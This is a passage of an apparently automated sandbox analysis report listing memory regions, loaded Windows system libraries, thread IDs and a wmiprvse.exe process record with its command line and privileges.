entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1274 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1275 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1276 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1277 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1278 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1279 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1280 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1281 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1282 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1283 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1284 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1285 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1286 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1287 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1288 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1289 start_va = 0x7fffff4a000 end_va = 0x7fffff4bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4a000" filename = "" Region: id = 1290 start_va = 0x7fffff4c000 end_va = 0x7fffff4dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4c000" filename = "" Region: id = 1291 start_va = 0x7fffff4e000 end_va = 0x7fffff4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4e000" filename = "" Region: id = 1292 start_va = 0x7fffff50000 end_va = 0x7fffff51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 1293 start_va = 0x7fffff52000 end_va = 0x7fffff53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 1294 start_va = 0x7fffff54000 end_va = 0x7fffff55fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1295 start_va = 0x7fffff56000 end_va = 0x7fffff57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 1296 start_va = 0x7fffff58000 end_va = 0x7fffff59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 1297 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 1298 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 1299 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 1300 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1301 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1302 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1303 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1304 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1305 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1306 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1307 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1308 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1309 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1310 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1311 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1312 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1313 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1314 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1315 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1316 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1317 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1318 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1319 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1320 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1321 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1322 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1323 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1324 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1325 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1326 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1327 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1328 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1329 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1330 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1331 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1332 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1333 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1334 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1335 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1336 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1337 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1338 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1339 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1340 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1341 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1342 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2734 start_va = 0x1730000 end_va = 0x1731fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001730000" filename = "" Region: id = 2735 start_va = 0x2be0000 end_va = 0x2c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 2736 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3201 start_va = 0x7fef1b80000 end_va = 0x7fef1d53fff monitored = 0 entry_point = 0x7fef1bb6b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 3209 start_va = 0x1150000 end_va = 0x1155fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001150000" filename = "" Region: id = 3210 start_va = 0x3d40000 end_va = 0x3f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 3211 start_va = 0x2530000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 3212 start_va = 0x3490000 end_va = 0x359ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003490000" filename = "" Region: id = 3213 start_va = 0x60c0000 end_va = 0x64bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060c0000" filename = "" Region: id = 3214 start_va = 0x1160000 end_va = 0x1160fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 3215 start_va = 0x1170000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 3219 start_va = 0x1150000 end_va = 0x1151fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001150000" filename = "" Region: id = 3220 start_va = 0x7fef87e0000 end_va = 0x7fef885bfff monitored = 0 entry_point = 0x7fef87e11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 3253 start_va = 0x64c0000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000064c0000" filename = "" Region: id = 3262 start_va = 0x1150000 end_va = 0x1152fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 3267 start_va = 0x1190000 end_va = 0x119ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3273 start_va = 0x1330000 end_va = 0x133ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3274 start_va = 0x13c0000 end_va = 0x13cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3277 start_va = 0x1190000 end_va = 0x119ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3292 start_va = 0x11a0000 end_va = 0x11a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011a0000" filename = "" Region: id = 3293 start_va = 0x1330000 end_va = 0x133ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3294 start_va = 0x13c0000 end_va = 0x13cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3364 start_va = 0x1190000 end_va = 0x1191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 3365 start_va = 0x2d50000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 3366 start_va = 0x3290000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 3367 start_va = 0x3700000 end_va = 0x377ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 3368 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3369 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3370 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3459 start_va = 0x1190000 end_va = 0x1191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 3517 start_va = 0x1190000 end_va = 0x1195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 3518 start_va = 0x2040000 end_va = 0x20e9fff monitored = 0 entry_point = 0x2044104 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 3530 start_va = 0x1190000 end_va = 0x1191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 3578 start_va = 0x1190000 end_va = 0x119cfff monitored = 0 entry_point = 0x119a138 region_type = mapped_file name = "wuauclt.exe" filename = "\\Windows\\System32\\wuauclt.exe" (normalized: "c:\\windows\\system32\\wuauclt.exe") Region: id = 3588 start_va = 0x6700000 end_va = 0x694efff monitored = 0 entry_point = 0x670236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 3595 start_va = 0x1190000 end_va = 0x1190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 3596 start_va = 0x2350000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 3597 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3598 start_va = 0x1190000 end_va = 0x1190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 3600 start_va = 0x11a0000 end_va = 0x11affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3601 start_va = 0x11b0000 end_va = 0x11bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3603 start_va = 0x11c0000 end_va = 0x11c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011c0000" filename = "" Region: id = 3604 start_va = 0x1590000 end_va = 0x159ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 3751 start_va = 0x11a0000 end_va = 0x11a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011a0000" filename = "" Region: id = 6487 start_va = 0x32f0000 end_va = 0x336ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 6488 start_va = 0x7fefb780000 end_va = 0x7fefb794fff monitored = 0 entry_point = 0x7fefb781010 region_type = mapped_file name = "aelupsvc.dll" filename = "\\Windows\\System32\\aelupsvc.dll" (normalized: "c:\\windows\\system32\\aelupsvc.dll") Region: id = 6489 start_va = 0x3620000 end_va = 0x377ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003620000" filename = "" Region: id = 6490 start_va = 0x2d20000 end_va = 0x2d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 6491 start_va = 0x36a0000 end_va = 0x371ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 6492 start_va = 0x3770000 end_va = 0x377ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 6493 start_va = 0x3820000 end_va = 0x391ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 6494 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 6495 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 6496 start_va = 0xb40000 end_va = 0xb4ffff monitored = 0 entry_point = 0xb43e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 6497 start_va = 0xb50000 end_va = 0xb53fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 6498 start_va = 0x2530000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 6499 start_va = 0x25e0000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 6500 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6501 start_va = 0x7fefad60000 end_va = 0x7fefad9efff monitored = 0 entry_point = 0x7fefad612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 6672 start_va = 0x3300000 end_va = 0x337ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 6673 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 6674 start_va = 0xb40000 end_va = 0xb47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 6675 start_va = 0xb40000 end_va = 0xb40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 6676 start_va = 0xb40000 end_va = 0xb40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Thread: id = 29 os_tid = 0xdac Thread: id = 30 os_tid = 0xda8 Thread: id = 31 os_tid = 0xd34 Thread: id = 32 os_tid = 0xd24 Thread: id = 33 os_tid = 0xcd4 Thread: id = 34 os_tid = 0xb68 Thread: id = 35 os_tid = 0x848 Thread: id = 36 os_tid = 0x3c0 Thread: id = 37 os_tid = 0x52c Thread: id = 38 os_tid = 0x248 Thread: id = 39 os_tid = 0x310 Thread: id = 40 os_tid = 0x388 Thread: id = 41 os_tid = 0x404 Thread: id = 42 os_tid = 0x284 Thread: id = 43 os_tid = 0x328 Thread: id = 44 os_tid = 0x32c Thread: id = 45 os_tid = 0x218 Thread: id = 46 os_tid = 0x300 Thread: id = 47 os_tid = 0x30c Thread: id = 48 os_tid = 0x238 Thread: id = 49 os_tid = 0x224 Thread: id = 50 os_tid = 0x48c Thread: id = 51 os_tid = 0x7cc Thread: id = 52 os_tid = 0x6ec Thread: id = 53 os_tid = 0x7ac Thread: id = 54 os_tid = 0x7f4 Thread: id = 55 os_tid = 0x74c Thread: id = 56 os_tid = 0x418 Thread: id = 57 os_tid = 0x2b0 Thread: id = 58 os_tid = 0x6cc Thread: id = 59 os_tid = 0x6c4 Thread: id = 60 os_tid = 0x668 Thread: id = 61 os_tid = 0x664 Thread: id = 62 os_tid = 0x63c Thread: id = 63 os_tid = 0x604 Thread: id = 64 os_tid = 0x600 Thread: id = 65 os_tid = 0x5dc Thread: id = 66 os_tid = 0x5cc Thread: id = 67 os_tid = 0x444 Thread: id = 68 os_tid = 0x440 Thread: id = 69 os_tid = 0x434 Thread: id = 70 os_tid = 0x42c Thread: id = 71 os_tid = 0x420 Thread: id = 72 os_tid = 0x214 Thread: id = 73 os_tid = 0x22c Thread: id = 74 os_tid = 0x3f4 Thread: id = 75 os_tid = 0x3ec Thread: id = 76 os_tid = 0x3e0 Thread: id = 77 os_tid = 0x388 Thread: id = 78 os_tid = 0x384 Thread: id = 79 os_tid = 0x37c Thread: id = 80 os_tid = 0x374 Thread: id = 81 os_tid = 0x36c Thread: id = 99 os_tid = 0xe9c Thread: id = 100 os_tid = 0xea0 Thread: id = 165 os_tid = 0xc34 Thread: id = 166 os_tid = 0xc38 Thread: id = 167 os_tid = 0xc44 Thread: id = 177 os_tid = 0xc9c Thread: id = 294 os_tid = 0x314 Thread: id = 295 os_tid = 0x3f0 Thread: id = 296 os_tid = 0x3ac Thread: id = 297 os_tid = 0x5f0 Thread: id = 315 os_tid = 0xeb0 Thread: id = 317 os_tid = 0xee8 Thread: id = 318 os_tid = 0xee0 Process: id = "6" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4e7e0000" os_pid = "0xb84" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005186b" [0xc000000f] Region: id = 1347 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1348 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1349 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1350 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1351 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1352 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1353 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1354 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1355 start_va = 0x250000 end_va = 0x254fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1356 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1357 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" 